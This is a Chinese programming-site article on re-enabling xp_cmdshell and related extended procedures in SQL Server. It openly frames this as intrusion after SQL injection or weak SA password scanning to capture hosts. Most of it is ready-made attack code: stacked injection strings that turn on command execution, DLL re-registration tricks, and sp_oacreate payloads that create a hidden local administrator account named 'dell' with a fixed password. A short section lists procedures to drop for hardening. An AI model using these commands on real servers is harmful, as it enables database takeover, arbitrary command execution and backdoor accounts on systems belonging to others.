程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

恢復xp

編輯:關於SqlServer
 

SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

SQL2005 在默認的設置中是刪除了 XP_CMDSHELL的,因此也在注射過程中產生了點困難。後來經過查看MSSQL2005的手冊才知道情況原來如此:
用下面一句話就可以了解決了。
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
關閉一樣.只是將上面的後面的那個"1"改成"0"就可以了.
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;--

如果cmdshell還不行的話,就再運行:
;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或者
;sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
來恢復cmdshell。

1433SQL入侵恢復xp_cmdshell方法總結

sql server 2005下開啟xp_cmdshell的辦法

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


SQL2005開啟'OPENROWSET'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;


SQL2005開啟'sp_oacreate'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;


突破SA的各種困難
常見情況恢復執行xp_cmdshell
1 未能找到存儲過程'master..xpcmdshell'.
恢復方法:查詢分離器連接後,
第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵命令執行完畢

2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復方法:查詢分離器連接後,
第一步執行:sp_dropextendedproc "xp_cmdshell"
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵命令執行完畢

3 無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程序。)
恢復方法:查詢分離器連接後,
第一步執行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然後按F5鍵命令執行完畢
四.終極方法.
如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接後,
2000servser系統:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net user dell huxifeng007 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net localgroup administrators dell /add'


xp或2003server系統:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user dell huxifeng007 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators dell /add'


--------------
xp_cmdshell新的恢復辦法
刪除

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'


恢復

dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")


這樣可以直接恢復,不用去管sp_addextendedproc是不是存在

-----------------------------

刪除擴展存儲過過程xp_cmdshell的語句:

exec sp_dropextendedproc 'xp_cmdshell'


恢復cmdshell的sql語句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'


開啟cmdshell的sql語句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'


判斷存儲擴展是否存在

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回結果為1就ok

恢復xp_cmdshell

exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回結果為1就ok

否則上傳xplog7.0.dll

exec master.dbo.addextendedproc 'xp_cmdshell','c:/winnt/system32/xplog70.dll'


堵上cmdshell的sql語句

sp_dropextendedproc "xp_cmdshell

----------------
刪除sql危險存儲:


DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc

/*不狐 附上恢復擴展存儲過程的辦法


先恢復sp_addextendedproc,語句如下:

SQL代碼:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO


再恢復以上所有擴展存儲過程

SQL代碼:

use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'

SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

經常掃SQL弱口令肉雞的朋友應該遇見過這樣的問題 !
接下來我們用SQL語句搞定他

分析器執行的語句:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE

 
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved